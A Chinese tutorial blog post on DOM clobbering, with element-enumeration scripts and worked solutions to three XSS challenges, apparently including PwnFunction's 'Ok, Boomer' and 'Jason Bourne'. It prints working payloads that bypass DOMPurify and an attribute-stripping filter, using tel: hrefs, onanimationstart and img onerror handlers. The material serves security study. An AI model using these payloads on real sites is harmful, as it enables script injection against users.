Dom-clobbering原理和例题

news2024/12/30 2:23:40

目录

引入

1.获取标签

2.覆盖

3.多层覆盖

利用Dom-clobbering

1.tostring

2.集合取值

3.层级关系取值

4.三层取值

5.自定义属性

例题

1

2.

3.

引入

分析


引入

        先用三个小例子看看dom-clobbering干了什么

1.获取标签

这个例子给img标签分别做了一个id和一个name属性,然后利用下面三种方式调用

结果显示:直接打印x,y和用window打印x,y都可以打印出来,但是用document只能用name获取标签,无法用id获取。

2.覆盖

这个例子可以看出原本是没有cookie这个属性的,然后我创建了一个div,再创建一个img,里面包含一个name属性,值为cookie。

接着把img放入div,把div放入document.body下,再调用document.cookie发现获取了这个img标签,这就说明document.cookie已经被我们用img标签给覆盖了

3.多层覆盖

document.body取出来的是form表单,然后.appendchild就是通过id取出的img标签,就不是原本的appendChild这个函数了。被覆盖掉了。

利用Dom-clobbering

        从上面引入我们已经知道了怎么获取、覆盖掉标签了,但是标签并不是我们要利用的,这些标签也只是一个HTMLElment元素,所以我们要找到可控的字符串来利用

1.tostring

tosting这个函数就是转换成字符串的,先写一个例子看看:

        

这个代码创建了一个函数A,然后a调用toSting方法,相当于一个子类调用父类的toString方法,可以发现显示了[object object]

因为标签都继承了object的toString方法,所以我们用一个脚本过滤下哪些标签的toString是可以利用的:

Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString 
!== Object.prototype.toString)

这个脚本可以遍历所有的标签,找到不是继承object的tostring方法的属性,找到了两个标签,分别是<a>和<area>

接下来测试一下a的tostring方法:

alert(test)执行的时候,会通过id将a标签抓出来,然后a标签会调用tostring方法,关键就是这个,他的tostring方法不是继承的,而是自己写的:调用href的值,所以就成了将aaaaa拿出来

2.集合取值

先看下这个代码,a标签是div的子标签,这样调用会显示undefined

解决方法就是先用两个id都等于x来构建一个集合类,再通过collection[name]来获取a标签:

3.层级关系取值

先利用这个脚本筛选出能使用层级关系的组合

有以下几个:

form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
div=document.createElement('div')
; for(var i=0;i<html.length;i++)
{
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' 
id=element2>'; document.body.appendChild(div);
if(window.element1 &&
element1.element2){ 
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));

拿output举个例子:

这就是直接将ouput标签的值给拿出来了,利用的正是标签的层级关系

4.三层取值

需要利用到集合+层级关系

直接上代码:

<form id="x" name="y"><output id=z>I've been clobbered</output></form>
<form id="x"></form>
<script> 
alert(x.y.z.value)
;
</script>

这个就是上面两个的套用,不需要解释了。

5.自定义属性

上面2、3、4这三个都是用的id和name取值,还是有一定限制,如果自定义属性就方便多了

这个脚本可以过滤出能够自定义属性的

var html = [...]//HTML elements array 
var props=[]; 
for(i=0;i<html.length;i++){
obj =
document.createElement(html[i]); 
for(prop in obj) {
if(typeof obj[prop] === 'string') { 
try {
DOM.innerHTML = '<'+html[i]+' id=x 
'+prop+'=1>'; 
if(document.getElementById('x')[prop] == 1) {
props.push(html[i]+':'+prop);
}
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));

得到能利用的:

a:username
a:password

测试代码:

<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobberedusername 
alert(x.password)//Clobberedpassword
</script>

结果:

例题

1

        XSS Game - Ok, Boomer | PwnFunction

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

思路就是把ok覆盖掉,把ok覆盖成一个自己写的标签,然后标签又能转换成字符串,就是用的a的tostring方法

所以payload先写成这样

<a id=ok href="alert(1337)">a</a>

结果没有弹窗,原因就是因为DOMPurify这个过滤框架

只能上官网查看白名单:

发现tel在白名单中,可以利用,所以最后payload是:

<a id=ok href="tel:alert(1)">a</a>

测试成功弹窗:

注意:

前提是这个ok是原本不存在的,如果ok是实际存在的,上述的就无法实现了

2.

const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
 
// 这里模拟了XSS过滤的过程,方法是移除所有属性
for (let el of root.querySelectorAll('*')) {
    let attrs = [];
    for (let attr of el.attributes) {
        attrs.push(attr.name);
    }
    for (let name of attrs) {
        el.removeAttribute(name);
    }
}
 
document.body.appendChild(root); 

先看题:

        1.创建一个div,然后把我们写入的hash值放进div中。

        2.第一个循环拿出了div所有元素,然后定义一个空数组attrs。

        3.第二个循环把所有元素放到数组里。

        4.第三个循把数组里的元素删除,最后把过滤后的div放到body中。

简单来说就是个过滤函数,将所有元素过滤,我们的目标是弹窗

那么思路就是防止form属性被删除,利用双层获取值,使for循环报错跳出

先测试:

<form><input id=attributes></form>

结果:报错了,原因是因为数组里只有一个值不是一个可迭代对象(最少两个元素,可以被for循环)

那么久加一个Input,形成一个集合,让这个数组有至少两个元素,可以遍历

此时能弹窗,但大问题是需要用户交互,这明显不行

直接看最终payload来理解:

 <style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"><input id=attributes><input id=attributes></form>

先在style中创建一个动画样式,然后再form表单中调用这个样式,然后属性onanimationstart来执行alert(1)(onanimationstart这个属性作用就是动画加载前所要执行的内容)

然后form表单中包含了两个input标签,是为了让函数报错用的

过滤函数的执行流程:

先style,发现没有属性,又到form,里面有元素,但是元素的attributes被DOM破坏成了两个input,循环了两次拿到两个空值,所以form的属性仍是完整的

继续循环到input了,删掉了,第二个也删掉了,这个input删掉无所谓,因为Input的作用就是保证form完整,并且已经完成了

总结一下:

在动画触发之前加alert(1),然后保证form里面的属性不可以被删除,就利用上述方法使过滤函数报错,结果form绕过过滤,并且没有用户交互

最后成功弹窗:

3.

XSS Game - Jason Bourne | PwnFunction

引入

<script>
    /* Helpers */
    const bootstrapAlert = (msg, type) => {
        return (`<div class="alert alert-${type}" role="alert">${DOMPurify.sanitize(msg)}</div>`)
    }
 
    document.getAlert = () => document.getElementById('alerts');
</script>
 
<script>
    /* Welcome */
    let name = (new URL(location).searchParams.get('name')) || "Pamela Landy";
    document.write(
        bootstrapAlert(`<b>Operation Treadstone</b>: Welcome <u>${name}</u>.`, 'info')
    )
</script>
 
<!-- alerts -->
<div id="alerts"></div>
 
<script>
    /* Handle to `#alert` */
    let alerts = document.getAlert();
 
    /* Treadstone Credentials */
    let identification = Math.random().toString(36).slice(2);
    let code = Math.floor(Math.random() * 89999 + 10000);
 
    /* Default Credentials */
    DEFAULTS = {};
    DEFAULTS[identification] = code;
</script>
 
<script>
    /* Optional Comment */
    if (location.hash) {
        let comment = document.createComment(decodeURI(location.hash).slice(1));
        document.querySelector('#alerts').appendChild(comment);
    }
</script>
 
<script>
    /* Use `DEFAULTS` to init `SECRETS` */
    SECRETS = DEFAULTS
 
    /* Increment the `code` before the check */
    let secretKey = new URL(location).searchParams.get('key') || "TREADSTONE_WEBB";
    SECRETS[secretKey] += 1;
 
    /* Authorization Check */
    if (SECRETS[secretKey] === SECRETS[identification]) {
        confirm(`Jesus Christ, it's Jason Bourne!`)
    } else {
        confirm(`You ain't David Webb!`)
    }
</script>

先把每个script拆开看:

        <script>
    /* Helpers */
    const bootstrapAlert = (msg, type) => {
        return (`<div class="alert alert-${type}" role="alert">${DOMPurify.sanitize(msg)}</div>`)
    }
 
    document.getAlert = () => document.getElementById('alerts');
</script>

定义了两个函数,第一个返回了被dompurify过滤的参数msg放到div中,第二个函数用于获取id为alerts的元素

<script>
    /* Welcome */
    let name = (new URL(location).searchParams.get('name')) || "Pamela Landy";
    document.write(
        bootstrapAlert(`<b>Operation Treadstone</b>: Welcome <u>${name}</u>.`, 'info')
    )
</script>

<!-- alerts -->
<div id="alerts"></div>

变量name用get接一个参数name,然后调用bootstrap显示欢迎$name的样式,然后定义一个id为alerts的div

<script>
    /* Handle to `#alert` */
    let alerts = document.getAlert();
 
    /* Treadstone Credentials */
    let identification = Math.random().toString(36).slice(2);
    let code = Math.floor(Math.random() * 89999 + 10000);
 
    /* Default Credentials */
    DEFAULTS = {};
    DEFAULTS[identification] = code;
</script>

把getalert()函数的返回值给alert变量,然后分别生成两个随机数给到DEFAULT对象,identification是键,code是值

<script>
    /* Optional Comment */
    if (location.hash) {
        let comment = document.createComment(decodeURI(location.hash).slice(1));
        document.querySelector('#alerts').appendChild(comment);
    }
</script>

判断hash是否存在,如果存在就取#后面的内容,然后添加搭配id为alerts的元素中

 
<script>
    /* Use `DEFAULTS` to init `SECRETS` */
    SECRETS = DEFAULTS
 
    /* Increment the `code` before the check */
    let secretKey = new URL(location).searchParams.get('key') || "TREADSTONE_WEBB";
    SECRETS[secretKey] += 1;
 
    /* Authorization Check */
    if (SECRETS[secretKey] === SECRETS[identification]) {
        confirm(`Jesus Christ, it's Jason Bourne!`)
    } else {
        confirm(`You ain't David Webb!`)
    }
</script>

把对象DEFAULTS赋给SECRETS,然后secretKey用get接一个参数key,然后让SECOETS对象中的secretKey建加一,如果没有就是创建一个新的键值对,建为secretKey,最后判断一下SECRETS[secretKey] 和SECRETS[identification]是否严格相等

分析

直接看payload来分析:

?name=<img name=getAlert><form id=alerts name=DEFAULTS>&key=innerHTML#--><img src οnerrοr=alert(1337)>

我们根据payload倒着分析

要让这个<img src οnerrοr=alert(1337)>成功弹窗就要让前面的闭合,那么就&key=innerHTML#-->

来写入,就会形成form.innerHTML+1,可以成功闭合注释符,就能成功弹窗。

innerHTML是通过key写给SECRETS的,但是到了form上,说明form成功覆盖了DEFAULTS,

所以在第五个script时 SECRETS = DEFAULTS就成了form.innerHTML了

现在解释下form怎么覆盖DEFAULTS的:

因为第三个script中getalert()函数因为接了我们传入的name=<img name=getAlert>报错了,所以这个script就不会执行下去,也就无法定义DEFAULTS对象了,然后form成功上位

还有一个点:

我们form中有一个id为alert,但是代码中还有一个div的id也为alert

document.querySelector('#alerts').appendChild(comment);这个代码之所以接的是我们写入的form

原因就是appendChild只认第一个标签,我们的form在div前,所以才成功被添加成功。       

总结一下:

?name=<img name=getAlert><form id=alerts name=DEFAULTS>&key=innerHTML#--><img src οnerrοr=alert(1337)>

        先传一个img使getAlert函数报错,导致DEFAULTS无法定义,又因为id与div的id相同但是在div之前,所以被加入元素,name为DEFAULTS又在第五个script成功赋给SECRETS,接着接到的key值接收了一个innerHTML来赋给form形成form.innerHTML+1来闭合标签,最后用img的onerror来弹窗

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/972478.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

热释电矢量传感器设计

1 概述 使用4个热释电传感器组成一个2X2的矩阵。通过曲线的相位差、 峰峰值等特征量来计算相关信息。本文使用STM32单片机设计、制作了热释电传感器矩阵&#xff1b;使用C#.NET设计了上位机软件。为以上研究做了试验平台。 2 硬件电路设计 2.1 热释电传感器介绍 热释电红外…

CCKS2023:基于企业数仓和大语言模型构建面向场景的智能应用

8月24日-27日&#xff0c;第十七届全国知识图谱与语义计算大会&#xff08;CCKS 2023&#xff09;在沈阳召开。大会以“知识图谱赋能通用AI”为主题&#xff0c;探讨知识图谱对通用AI技术的支撑能力&#xff0c;探索知识图谱在跨平台、跨领域等AI任务中的作用和应用途径。 作为…

MAC系统“无法验证开发者”问题

参考:https://blog.csdn.net/suxiang198/article/details/126550955 对于使用MAC电脑的同学而言&#xff0c;许多时候因为使用需要&#xff0c;从第三方源&#xff08;比如github等&#xff09;下载工具或软件&#xff0c;而在运行时会受到MAC系统的安全限制&#xff0c;老是弹…

【STM32】学习笔记-SPI通信

SPI通信 SPI通信&#xff08;Serial Peripheral Interface&#xff09;是一种同步的串行通信协议&#xff0c;用于在微控制器、传感器、存储器、数字信号处理器等之间进行通信。SPI通信协议需要使用4个线路进行通信&#xff1a;时钟线(SCLK)、主输入/主输出线(MISO)、主输出/主…

深入浅出AXI协议(5)——数据读写结构读写响应结构

目录 一、前言 二、写选通&#xff08;Write strobes&#xff09; 三、窄传输&#xff08;Narrow transfers&#xff09; 1、示例1 2、示例2 四、字节不变性&#xff08;Byte invariance&#xff09; 五、未对齐的传输&#xff08;Unaligned transfers&#xff09; 六…

网络版五子棋C++实现

目录 1.项目介绍 2.开发环境 3.核心技术 4.环境搭建 5.WebSocketpp介绍 5.1WebSocketpp是什么 5.2为什么使用WebSocketpp 5.3原理解析&#xff1a; 5.4WebSocketpp主要特性 6.WebSocketpp使用 7.JsonCpp使用 8.MySQL API 9.项目模块设计以及流程图 10.封装日志宏…

基于单片机的太阳能热水器控制器设计

一、项目介绍 随着环保意识的逐渐增强&#xff0c;太阳能热水器作为一种清洁能源应用得越来越广泛。然而&#xff0c;传统的太阳能热水器控制器通常采用机械式或电子式温控器&#xff0c;存在精度低、控制不稳定等问题。为了解决这些问题&#xff0c;本项目基于单片机技术设计…

Qt鼠标点击事件处理:按Escape键退出程序

创建项目 Qt 入门实战教程&#xff08;目录&#xff09; 首先&#xff0c;创建一个名称为QtKeyEscape的Qt默认的窗口程序。 参考 &#xff1a;Qt Creator 创建 Qt 默认窗口程序 Qt响应键盘Escape事件 打开Qt Creator >>编辑 >> 项目 >> Headers>> …

服务运营 | MS文章精读:基于强化学习和可穿戴设备的帕金森治疗方案

作者信息&#xff1a;庞硕&#xff0c;李舒湉 编者按 帕金森疾病的治疗是一个备受关注的医疗问题。本文通过患者的可穿戴传感器收集数据&#xff0c;提出了一个基于强化学习的帕金森药物治疗方案。这是第一篇关于可穿戴治疗设备在慢性疾病管理中的应用研究。原文于2023年4月发…

如何在你的Android工程中启用K2编译器?

如何在你的Android工程中启用K2编译器&#xff1f; K2编译器是用于Kotlin代码编译的最新、高效编译器&#xff0c;你现在可以尝试使用了。 Kotlin编译器正在为Kotlin 2.0进行重写&#xff0c;新的编译器实现&#xff08;代号K2&#xff09;带来了显著的构建速度改进&#xff…

K210-调用自定义py库

调用自定义py库 导入py库文件调用py库 用过Python的朋友应该知道&#xff0c;Python是支持将自定义py库&#xff08;或者第三方py库&#xff09;放到同一个目录下调用的&#xff0c;MicroPython也是支持调用自定义py库的。在调用自定义py库之前&#xff0c;需要提前将py库文件导…

期货基础知识

一、期货是什么&#xff1f;  期货是与现货相对应&#xff0c;并由现货衍生而来。期货通常指期货合约&#xff0c;期货与现货完全不同&#xff0c;现货是实实在在可以交易的货&#xff08;商品&#xff09;&#xff0c;期货主要不是货&#xff0c;而是以某种大众产品如棉花、大…

影响Windows 和 macOS平台,黑客利用 Adobe CF 漏洞部署恶意软件

FortiGuard 实验室的网络安全研究人员发现了几个影响 Windows 和 Mac 设备的 Adobe ColdFusion 漏洞。 远程攻击者可利用Adobe ColdFusion 2021中的验证前RCE漏洞&#xff0c;获取受影响系統的控制权力。Adobe 已发布安全补丁来解决这些漏洞&#xff0c;但攻击者仍在利用这些漏…

leetcode:1941. 检查是否所有字符出现次数相同(python3解法)

难度&#xff1a;简单 给你一个字符串 s &#xff0c;如果 s 是一个 好 字符串&#xff0c;请你返回 true &#xff0c;否则请返回 false 。 如果 s 中出现过的 所有 字符的出现次数 相同 &#xff0c;那么我们称字符串 s 是 好 字符串。 示例 1&#xff1a; 输入&#xff1a;s…

鼠标悬停阴影的效果被旁边div挡住的解决办法

出现的问题 需求要求鼠标悬停某个图片上有阴影效果&#xff0c;但阴影被旁边相邻的div挡住了&#xff0c;如图所示 解决方案 给悬停的这块div增加2个css属性 $(this).css(position, relative); $(this).css(z-index, 200);新的效果如图所示 一直写后端&#xff0c;前端的…

国际网页短信软件平台搭建定制接口说明|移讯云短信系统

国际网页短信软件平台搭建定制接口说明|移讯云短信系统 通道路由功能介绍 支持地区通道分流&#xff0c;支持关键字&#xff0c;关键词通道分流&#xff0c;支持白名单独立通道&#xff0c;支持全网通道分流&#xff0c;支持通道可发地区设置&#xff0c;通道路由分组&#x…

redis 数据结构(二)

整数集合 整数集合是 Set 对象的底层实现之一。当一个 Set 对象只包含整数值元素&#xff0c;并且元素数量不时&#xff0c;就会使用整数集这个数据结构作为底层实现。 整数集合结构设计 整数集合本质上是一块连续内存空间&#xff0c;它的结构定义如下&#xff1a; typed…

QT C++ 实现网络聊天室

一、基本原理及流程 1&#xff09;知识回顾&#xff08;C语言中的TCP流程&#xff09; 2&#xff09;QT中的服务器端/客户端的操作流程 二、代码实现 1&#xff09;服务器 .ui .pro 在pro文件中添加network库 .h #ifndef WIDGET_H #define WIDGET_H#include <QWidget>…

春秋云镜 CVE-2018-12530

春秋云镜 CVE-2018-12530 Metinfo 6.0.0任意文件删除 靶标介绍 Metinfo 6.0.0任意文件删除。后台密码&#xff1a;f2xWcke5KN6pfebu 启动场景 漏洞利用 /admin进入管理后台&#xff0c;admin/f2xWcke5KN6pfebu /admin/app/batch/csvup.php?fileFieldtest-1&fliename…

目标检测框架MMDetection训练自定义数据集实验记录

在上一篇博文中&#xff0c;博主完成了MMDetection框架的环境部署与推理过程&#xff0c;下面进行该框架的训练过程&#xff0c;训练的入口文件为tools/train.py&#xff0c;我们需要配置的内容如下&#xff1a; parser.add_argument(--config,default"/home/ubuntu/prog…